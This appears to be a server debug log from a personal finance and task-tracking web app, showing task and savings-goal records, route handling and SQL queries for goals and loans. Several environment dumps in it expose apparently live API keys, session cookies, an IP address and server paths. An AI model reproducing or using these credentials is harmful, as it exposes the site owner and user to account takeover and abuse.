    title: 'Prepare Q3 Marketing Presentation',
    description: 'Include new feature launch metrics and budget allocation proposal.',
    category: 'Work',
    priority: 'High',
    section: 'active',
    due_date: '2026-03-06T18:30:00.000Z',
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: null,
    saved_amount: null
  },
  {
    id: 2,
    title: 'Renew car insurance',
    description: null,
    category: 'Personal',
    priority: 'Low',
    section: 'active',
    due_date: '2026-10-14T18:30:00.000Z',
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: null,
    saved_amount: null
  },
  {
    id: 3,
    title: 'Gym Workout',
    description: null,
    category: 'Personal',
    priority: 'Medium',
    section: 'active',
    due_date: null,
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: 'Daily',
    next_due_date: '2026-03-06T18:30:00.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 4,
    title: 'Pay Credit Card Bill',
    description: 'Pay before the due date to avoid late fees and credit score impact.',
    category: 'Finance',
    priority: 'High',
    section: 'active',
    due_date: null,
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: 'Monthly',
    next_due_date: '2026-03-09T18:30:00.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 5,
    title: 'Weekly Grocery Shopping',
    description: null,
    category: 'Personal',
    priority: 'Low',
    section: 'active',
    due_date: null,
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: 'Weekly',
    next_due_date: '2026-03-07T18:30:00.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 6,
    title: 'Save for new iPhone 15',
    description: 'Need to replace my old phone. Selling old one will add to this.',
    category: 'Finance',
    priority: 'Medium',
    section: 'active',
    due_date: null,
    is_financial: 1,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: '80000.00',
    saved_amount: '45000.00'
  },
  {
    id: 7,
    title: 'Buy gaming mouse and keyboard',
    description: 'Razer DeathAdder & Keychron K2.',
    category: 'Finance',
    priority: 'High',
    section: 'active',
    due_date: null,
    is_financial: 1,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: '10000.00',
    saved_amount: '10000.00'
  },
  {
    id: 13,
    title: 'Search Macbook Box',
    description: '',
    category: 'Personal',
    priority: 'High',
    section: 'active',
    due_date: '2026-03-05T18:30:00.000Z',
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:56:37.000Z',
    updated_at: '2026-03-06T12:56:37.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: null,
    saved_amount: null
  },
  {
    id: 14,
    title: 'Go to Gym',
    description: '',
    category: 'Personal',
    priority: 'Low',
    section: 'active',
    due_date: '1899-11-29T18:38:50.000Z',
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:57:54.000Z',
    updated_at: '2026-03-06T12:57:54.000Z',
    repeat_type: 'Daily',
    next_due_date: '1899-11-29T18:38:50.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 15,
    title: 'Buy 16GB RAM x 2',
    description: '',
    category: 'Personal',
    priority: 'Medium',
    section: 'active',
    due_date: '2026-03-06T18:30:00.000Z',
    is_financial: 1,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:59:08.000Z',
    updated_at: '2026-03-06T12:59:08.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: '35000.00',
    saved_amount: '30000.00'
  }
]
2026-04-21T16:44:08.315Z server-connect:router Serving templateView /goal
2026-04-21T16:44:08.315Z server-connect:app Executing action step identify
2026-04-21T16:44:08.315Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:08.315Z server-connect:output identity: 1
2026-04-21T16:44:08.315Z server-connect:app Executing action step restrict
2026-04-21T16:44:08.315Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:44:08.316Z server-connect:output restrict: undefined
2026-04-21T16:44:08.316Z server-connect:router Render template goal
2026-04-21T16:44:08.316Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'x-forwarded-for': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-22T16:43:57.216Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'HTTP_X_FORWARDED-FOR': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-04-21T16:44:08.519Z server-connect:router Serving serverConnect /api/goals/list
2026-04-21T16:44:08.520Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-04-21T16:44:08.520Z server-connect:app Executing action step identify
2026-04-21T16:44:08.520Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:08.520Z server-connect:output identity: 1
2026-04-21T16:44:08.520Z server-connect:app Executing action step restrict
2026-04-21T16:44:08.520Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:44:08.521Z server-connect:app Executing action step identify
2026-04-21T16:44:08.521Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:08.521Z server-connect:output identity: 1
2026-04-21T16:44:08.521Z server-connect:app Executing action step restrict
2026-04-21T16:44:08.521Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:44:08.521Z server-connect:output restrict: undefined
2026-04-21T16:44:08.522Z server-connect:app Executing action step custom
2026-04-21T16:44:08.522Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-04-21T16:44:08.523Z server-connect:output restrict: undefined
2026-04-21T16:44:08.523Z server-connect:app Executing action step paged
2026-04-21T16:44:08.523Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-04-21T16:44:08.527Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '0',
    grand_total_target: '4100000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '0',
    grand_total_target: '4100000'
  }
]
2026-04-21T16:44:08.529Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -10 },
    current: 1,
    total: 0
  },
  data: []
}
2026-04-21T16:44:10.862Z server-connect:router Serving templateView /credit-cards
2026-04-21T16:44:10.862Z server-connect:app Executing action step identify
2026-04-21T16:44:10.862Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:10.863Z server-connect:output identity: 1
2026-04-21T16:44:10.863Z server-connect:app Executing action step restrict
2026-04-21T16:44:10.863Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:44:10.863Z server-connect:output restrict: undefined
2026-04-21T16:44:10.863Z server-connect:router Render template credit-cards
2026-04-21T16:44:10.864Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/credit-cards',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'x-forwarded-for': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-22T16:43:57.216Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/credit-cards',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/credit-cards',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/credit-cards',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'HTTP_X_FORWARDED-FOR': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-04-21T16:44:12.126Z server-connect:router Serving templateView /emis
2026-04-21T16:44:12.126Z server-connect:app Executing action step identify
2026-04-21T16:44:12.126Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:12.126Z server-connect:output identity: 1
2026-04-21T16:44:12.126Z server-connect:app Executing action step restrict
2026-04-21T16:44:12.127Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:44:12.127Z server-connect:output restrict: undefined
2026-04-21T16:44:12.127Z server-connect:router Render template emis
2026-04-21T16:44:12.127Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/emis',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'x-forwarded-for': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-22T16:43:57.216Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/emis',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/emis',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/emis',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'HTTP_X_FORWARDED-FOR': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-04-21T16:44:12.343Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-04-21T16:44:12.343Z server-connect:app Executing action step identify
2026-04-21T16:44:12.343Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:12.344Z server-connect:output identity: 1
2026-04-21T16:44:12.344Z server-connect:app Executing action step restrict
2026-04-21T16:44:12.344Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:44:12.344Z server-connect:output restrict: undefined
2026-04-21T16:44:12.344Z server-connect:app Executing action step custom
2026-04-21T16:44:12.344Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
